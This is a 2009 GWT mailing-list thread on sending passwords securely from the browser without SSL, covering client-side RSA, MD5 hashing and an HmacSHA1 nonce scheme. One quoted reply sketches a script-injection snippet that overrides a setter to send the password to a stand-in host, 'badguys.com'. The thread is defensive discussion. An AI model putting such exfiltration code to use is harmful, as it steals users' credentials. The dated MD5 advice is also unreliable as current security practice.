Ah.. doing an RSA-type transaction over javascript is tricky, but do-
able.  But do you really need that level of security?  Most web-sites
do not do this -- they merely "hash" the password using one-way
encryption (MD5).  There are plenty of js libraries to do this, and
all you would need to do in GWT is wrap the "encode" method with a
JSNI call.  A very simple solution offering a basic level of security
(so passwords don't go in clear text over the wire).

I'm not saying MD5 hashing on the client is great security.  You could
intercept the hashed password and do a rainbow attack to find out what
the true password is, or hack the application and use the hashed
password to imitate the user.

It really depends on how secure your site needs to be..


On May 19, 10:15 pm, Mark  Renouf <[email protected]> wrote:
> This is a solved issue, there's many approaches. SSL is the easiest
> but not always needed, or possible (adds latency and scaling
> problems).
>
> We use HmacSHA1 client side with GWT, and find it works well for our
> needs. HmacSHA1 is simple enough to implement once you get SHA1
> working. There's tons of examples out there. I took one that was
> relatively simple Java sample and adjusted it work with GWT.
>
> It goes something like this:
>
> 1. Server sends random token to client (called a NONCE or "Number used
> once")
> 2. Client computes HmacSHA1(token, passoword+timestamp) and sends the
> resulting signature and the timestamp used back to the server.
> 3. The server performs the same  operation and confirms it's computed
> signature matches the one returned by the client and that the
> timestamp is within an acceptable time range. If these conditions are
> met, the client has proven it has the correct password.
>
> You can protect against replay by only allowing a token to be used
> once from the same IP address it was sent to.
>
> You can extend this easily to do more:
>
> If you do this on every request, and include the URL, query parameters
> and key headers in the signature you can secure various web service
> calls. If you compute the MD5 or SHA1 of the body, and include that in
> the Hmac signature as well, then you've got a message integrity check
> on the whole request.
>
> If you need to prevent others from seeing the data of the requests at
> all, then SSL is your only real option.
>
> On May 19, 8:10 pm, Vitali Lovich <[email protected]> wrote:
>
> > First off, good luck trying to disassemble the GWT compiled code - it's hard
> > to read even when you know what the original Java code is doing.
>
> > Nextly, I don't think I understand the problem you are presenting - it seems
> > to me that if you have a script-injection exploit in your code, there is no
> > way you can code it to protect the user, since the attacking code can always
> > modify the original code in whatever way is necessary to send the password
> > to the attacker.  So whether or not you implement the algorithm in
> > Javascript or not is irrelevant.  An algorithm is a step-by-step process,
> > independent of the language used to express it.  Security is a property of
> > the algorithm/protocol, not the language.
>
> > Exactly how do you "block" the get & set functions?  Also, it's not like
> > those functions are standard, so I'm guessing their your equivalent to the
> > more common foo & bar.
>
> > On Tue, May 19, 2009 at 6:48 PM, Alyxandor <
>
> > [email protected]> wrote:
>
> > > You can't attack the post-RSA password field, but if there's any point
> > > along the way that the password is passed inside javascript, it might
> > > be possible for a script-injection attacker to overwrite your
> > > functions / add getter functions to prototypes and post your password
> > > using something like rsa.prototype.set()=function(pass){addHack
> > > ( '<script 
> > > src="badguys.com?x='+pass+'/<http://badguys.com?x=%27+pass+%27/>>');...}
> > >  Or such.  Of course,
> > > you sound like a smart guy who would already override such functions
> > > to prevent an attack, but not everybody thinks to manually block get()
> > > and set(), so having plain-script authentication would let badguys.com
> > > know if it's worth trying or not...
--~--~---------~--~----~------------~-------~--~----~
You received this message because you are subscribed to the Google Groups 
"Google Web Toolkit" group.
To post to this group, send email to [email protected]
To unsubscribe from this group, send email to 
[email protected]
For more options, visit this group at 
http://groups.google.com/group/Google-Web-Toolkit?hl=en
-~----------~----~----~----~------~----~------~--~---

Reply via email to